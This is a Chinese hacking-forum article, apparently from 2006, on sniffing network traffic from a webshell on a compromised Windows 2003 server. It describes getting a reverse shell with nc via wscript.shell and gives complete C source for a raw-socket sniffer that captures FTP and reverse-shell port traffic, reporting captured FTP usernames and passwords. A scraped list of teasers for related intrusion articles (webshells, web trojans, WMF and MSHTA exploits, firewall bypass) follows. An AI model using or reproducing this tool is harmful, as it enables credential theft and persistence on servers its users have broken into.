基于Webshell的sniffer可行性研究(图)_漏洞研究

前言:

幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过.

我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的.

实验环境:

Windows2003服务器+海洋2006+serv-u5.2

服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令.

实验步骤:

1.利用wcript.shell执行nc 反弹得到shell

2.利用自编写工具进行嗅探(我只嗅探21和9001,其中21为ftp,9001为反弹端口)

/*------------------------------------------------------

*FIle:   SnifferFtp.c

*Effect: 用于在webshell进行嗅探实验之用,基于Raw

*Code:   Huai_Huai

*Page:   Http://hhuai.cn

*Date:   2006.1.12

*-----------------------------------------------------*/

#include <stdio.h>

#include <string.h>     

#include "Winsock2.h"

#pragma comment(lib,"WS2_32.lib")

#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

#define STATUS_FAILED 0xFFFF

#define MAX_PACK_LEN 65535

#define MAX_ADDR_LEN 16

#define MAX_HOSTNAME_LEN 255

//定义ip报头

typedef struct _iphdr

{

  byte ver_len;     //版本4位,头长度4位,报头长度以32位为一个单位

  byte type;         //类型8位

  byte length[2];     //总长度,16位,指出报文的以字节为单位的总长度

  //报文长度不能超过65536个字接否则认为报文遭到破坏

  byte id[2];         //报文标示,用于多于一个报文16位

  byte flag_offset[2];//标志,3位   数据块偏移13位

  byte time;         //生存时间,8位

  byte protocol;     //协议,8位

  byte crc_val[2];   //头校验和16位

  byte src_addr[4];   //源地址,32位

  byte tar_addr[4];   //目标地址,32位

  byte options[4];   //选项和填充,32位

}IP_HEADER;

typedef struct _tcphdr

{

  byte source_port[2];   //发送端端口号,16位

  byte dest_port[2];     //接收端端口号,16位

  byte sequence_no[4];   //32位标示消息端的数据位于全体数据块的某一字节的数字

  byte ack_no[4];         //32位确认号,标示接收端对于发送端接收到数据块数值

  unsigned char offset_reser_con;//数据偏移4位预留6位控制位6为

  unsigned char th_flag;

  byte window[2];         //窗口16位

  byte checksum[2];     //校验码,16位

  byte urgen_pointer[2];   //16位紧急数据指针

  byte options[3];     //选祥和填充,32位

}TCP_HEADER;

#define PROTOCOL_ICMP         1   //传输控制协议

#define PROTOCOL_GTG         3   //Gateway-to-Gateway       

#define PROTOCOL_CGMM         4   //CMCC Gateway Monitoring Message

#define PROTOCOL_ST           5   //ST

#define PROTOCOL_TCP         6   //传输控制协议       

#define PROTOCOL_UCL         7   //UCL

#define PROTOCOL_SECURE         9   //secure

#define PROTOCOL_BRM         10   //BBN RCC Monitoring

#define PROTOCOL_NVP         11   //NVp

#define PROTOCOL_PUP         12   //PUP

#define PROTOCOL_PLURIBUS     13 //Pluribus     

#define PROTOCOL_TELENET     14   //Telenet       

#define PROTOCOL_XNET         15   //XNET

#define PROTOCOL_CHAOS         16   //Chaos

#define PROTOCOL_UDP         17   //UDP

#define PROTOCOL_MULTIPLEXING   18   //Multiplexing       

#define PROTOCOL_DCN         19   //DCN       

#define PROTOCOL_TAC_MONITORING   20   //TAC Monitoring

#define PROTOCOL_ALN         63   //any local network

#define PROTOCOL_SATNET         64   //SATNET and Backroom EXPAK

#define PROTOCOL_MITSS         65   //MIT Subnet Support

#define PROTOCOL_SATNET_MONIT   69   //SATNET Monitoring

#define PROTOCOL_IPCU         71   //Internet Packet Core Utility 

#define PROTOCOL_BK_SATNET_MONI 76   //Backroom SATNET Monitoring 

#define PROTOCOL_WIDEBAND_MONI   78   //WIDEBAND Monitoring 

#define PROTOCOL_WIDEBAND_EXPAK   79   //WIDEBAND EXPAK

SOCKET SocketRaw;

void startsniffer()

{

  char RecvBuf[MAX_PACK_LEN]={0};

  char FAR name[MAX_HOSTNAME_LEN];

  WSADATA wsa;

  struct hostent FAR* pHostent;

  SOCKADDR_IN sa;

  DWORD OutBuffer[10];

  DWORD InBuffer=1;

  DWORD BytesReturned=0;

  if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)

  {

    printf("不能加载Winsock DLL!");

    exit(0);

  }

  SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

  if(SocketRaw==INVALID_SOCKET)

  {

    printf("不能创建Socket!");

    exit(0);

  }

  

  gethostname(name,MAX_HOSTNAME_LEN);

  //这里会自动分配内存

  pHostent=gethostbyname(name);

  sa.sin_family=AF_INET;

  sa.sin_port=htons(6000);

  memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],pHostent->h_length);

  if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)

  {

    printf("不能绑定网卡!");

    closesocket(SocketRaw);

    exit(0);

  }

  

  if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),

    &OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)

  {

    printf("不能创建WSAIoctl!");

    closesocket(SocketRaw);

    exit(0);

  }

}

int ReceiveBuf(byte* buf,int len)

{

  return recv(SocketRaw,(char *)buf,len,0);

}

void main()

{

  int len;   

  byte RecvBuf[65535];

  char buf[16];

  int iphdr_len;

  TCP_HEADER* pTcpHeader;

  unsigned __int16 src_port;

  unsigned __int16 dest_port;

  int HdrLen;

  __int16 datalen;

  IP_HEADER* pIpheader;

  int port1,port2;

  startsniffer();   

  while(TRUE)

  {

    port1=port2=0;

    memset(RecvBuf,0,65535);

    len=ReceiveBuf(RecvBuf,65535);

    if(len>0)

    {

        pIpheader=(IP_HEADER*)RecvBuf;

        /*

        switch(pIpheader->protocol)

        {

        case PROTOCOL_ICMP:

        printf("ICMP");

        break;

        case PROTOCOL_TCP:

        printf("TCP");

        break;

        case PROTOCOL_UDP:

        printf("UDP");

        break;

        default:

        printf("其他协议");

        break;

        }

        */

        

        if(pIpheader->protocol==PROTOCOL_TCP)

        {

          iphdr_len=(pIpheader->ver_len&0xf)*4;

          pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);

          src_port=pTcpHeader->source_port[0]*0x100+pTcpHeader->source_port[1];

          dest_port=pTcpHeader->dest_port[0]*0x100+pTcpHeader->dest_port[1];

          memset(buf,0,16);

          sprintf(buf,"%d",src_port);

          port1=src_port;

          //printf("%s ",buf);

          memset(buf,0,16);

          sprintf(buf,"%d",dest_port);

          port2=dest_port;

          //printf("%s ",buf);

          if(port1==21 || port2==21 || port1==9001 || port2==9001)

          {

            HdrLen=(pTcpHeader->offset_reser_con)>>2;

            memset(buf,0,16);

            sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);

            //printf("%s ",buf);

            memset(buf,0,16);

            sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],pIpheader->src_addr[1],pIpheader->src_addr[2],pIpheader->src_addr[3]);

            //printf("%s ",buf);

            memset(buf,0,16);

            sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],pIpheader->tar_addr[1],pIpheader->tar_addr[2],pIpheader->tar_addr[3]);

            //printf("%s ",buf);

            

            datalen=pIpheader->length[0]*0x100+pIpheader->length[1];

            memset(buf,0,16);

            sprintf(buf,"%d",datalen);

            //printf("%s ",buf);

            HdrLen=(pTcpHeader->offset_reser_con)>>2;

            memset(buf,0,16);

            sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);             

            printf("%s",buf);

            //printf("\n");           

          }

        }

    }

  }

}

3.嗅探结果:

=800) window.open(/pic/22/a2006-3-1-621a6f.jpg);" src="/college/UploadPic/2006/8/27/2006827234138485.jpg" onload="if(this.width > 800)this.width = 800;if(this.height > 800) this.height = 800;" border=0>

4.实验小结:

确实可以嗅到一些信息,在本机winxp sp2可以嗅到ftp密码,但在win2003服务器上运行,就只能嗅到用户名,利用webshell执行的也可以嗅到用户名,一些操作,比如用户目录什么的.

我们的webshell权限可以非常的低,只要能利用wscript.shell就行.

其中有许多细节,需以后仔细的研究,万望论坛的高手能给予一点提示.(来源邪恶八进制信息安全团队  作者坏坏) 

时间: 2024-11-02 10:52:21

基于Webshell的sniffer可行性研究(图)_漏洞研究的相关文章

当备份数据库不能用时.用邮件列表得到WEBSHELL!(图)_漏洞研究

今天上午闲着无聊,刚好一个朋友发过来一个网站的后台管理密码.他要我帮他看看.我说你得到后台了.可以用备份数据库功能得到WEBSHELL啊.你还发过来干嘛.他说后台有数据备份的选项.但是不能用.大家看一下图!  列表得到WEBSHELL!(图)_漏洞研究-数据库备份拿shell">  里面有备份的选项.但是点了之后出现错误!应该是管理员把文件改名了.或者是位置改变了.不能备份数据库,那怎么办,不能白白的浪费这样的一个机会.我就在后台里面到处看了一下.发现可以通过改网站注册用户的邮件地址.我们

从广告邮件到肉鸡成群(图)_漏洞研究

我的私人信箱多次接到化妆品广告邮件,感觉不像是种毒的,于是点开连接去看看,原来是一个卖化妆品的商务网站.看上去较漂亮,就是不知安全性如何?以前注意过天意商务网,但这个较陌生,不知是什么系统(如图1所示). 图1     习惯性地看看有无上传之处,居然没有发现有上传图片或其它东东的地方.不死心,注册一个用户,仍然没有发现可以上传或发表文章之处.再看看有无注入漏洞,在网址后面加上"'",提示"请勿输入非法字符",说明已做了防注入处理.不甘心啊!再加上"and

“灰鸽子”网页木马从原理、制作到防范(图)_漏洞研究

事物都有两面性.本文介绍的网页木马制作技巧,意在加强大家的防范意识,而不是想"荼毒生灵".希望能给大家带来一些帮助,营造一个安全的上网环境. 如果你访问××网站(国内某门户网站),你就会中灰鸽子木马.这是我一黑客朋友给我说的一句说.打开该网站的首页,经检查,我确实中了灰鸽子.怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马:一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马. 以上只是网页木马的两种形式,实际上

注入过程中遇到DB_OWNER的想法(图)_漏洞研究

首先先声明这个文章是写给菜鸟朋友看的     .现在注入横飞!工具一大堆,过去手工注入的时代已经不复存在!代之的是NBSI HDSI 啊D注入工具..等等.也是广大菜鸟的最爱了.即使什么也不会.什么也不懂.只需要点几下鼠标.存在注入漏洞的网站密码就出来了.接下来就是扫扫后台.传传马.就完了.就这样简单.碰到SA权限的话就.直接建立号开3389或者上传WEBSHELL.是内网就映射.是DB_OWNER权限的话呢就考虑用备份差异.但是WEB和数据库不在同一台服务器该怎么搞呢?其实也不一定是搞不定.除

图片引发的溢出危机(图)_漏洞研究

就在刚迈入2006年之际,Windows系统出现了一个严重的漏洞,这就是Microsoft Windows图形渲染引擎wmf格式代码漏洞(ms0601).这个漏洞出现在Windows的图形渲染引擎中,黑客可以构造恶意的wmf文件,引诱其他用户打开,当系统没有更新过wmf补丁时,将会执行黑客事先设置好的恶意代码,获取系统的最高权限,从而完全听命于黑客.就在漏洞公布几天后,网络上使用wmf漏洞进行传播的病毒.攻击事件不断,直至今日,网上仍然充斥着无数利用wmf漏洞的攻击.本文将向大家介绍有关wmf漏

MSHTA漏洞为黑客大开远程控制之门(图)_漏洞研究

这是一个可以让黑客欣喜若狂的新漏洞,一旦该漏洞被激活,就会有大量计算机成为黑客手中的肉鸡,被人远程控制不可避免-- 微软的Windows操作系统在进行了短暂的"喘息"后,近日又在攻击爱好者不懈努力下,被成功找出几个高危的系统安全漏洞,而Microsoft Windows MSHTA脚本执行漏洞就是其中的重要一员. 安全公告牌 MSHTA即HTA,此处的MS主要用于强调这是微软的漏洞,HTA全名为HTML Application,就是HTML应用程序,其实只要简单地用"hta&

利用DWRCC突破天网防火墙(经验)(图)_漏洞研究

题外音:今天早上,为了逗BBS好友云舒开心,特告知她本人所用服务器之账户及口令,让她看看我的好东东.同时,我和她登录同一台开启3389肉机使用软件登录本人服务器,晕,吓的要死,还好,不是别人,*^_^* 系统环境: 采用windows 2000 professional做为本人所用局域网内网关,当前运行软件,天网4.2.8个人测试版,金山病毒防火墙,Sygate(以下简称服务器) 以下所有的图片都是在局域网内98机器上抓图,本人所用98+windows 2000远程终端服务连接器及其他相关软件(

视窗操作系统密码体系的弱点及对策(图)_漏洞研究

一.问题的提出        本文仅就此处所列的几个在实际工作里发现的问题,对目前普遍使用的视窗操作系统里隐藏的几个有关密码体系的危险弱点进行了分析并给出相应对策,这些危险弱点导致的计算机安全隐患,希望能引起相关用户的重视.   1.视窗操作系统"用户登录"对话框问题   图A是大家熟悉的"用户登录"对话框:   图A          大家都知道,只要愿意,现在可以通过很多能方便从互联网上下载的实用程式对图A所示的"TesT"用户进行"

渗透技术一瞥(图)_漏洞研究

渗透是指入侵者直接用被入侵对象原有的功能来完成的入侵,它可以使用各种方法进行.无论是个人用户.数据库管理员还是网站管理员,要构造一个安全的网站论坛.数据库服务器以及安全的SQL语句脚本,了解渗透技术潜在的危害都非常有必要. 很多用户都有这样一种感觉:计算机信息安全技术或者黑客关心的一些东西都比较高深,其实不然,比如渗透技术,可能仅仅是这个专业的技术名词就已经让你有点眩晕了,但是你知道吗,在日常的计算机应用中,你常常会与渗透技术擦肩而过. 让我们举一个小例子来做个简单的说明:如果我告诉你"' or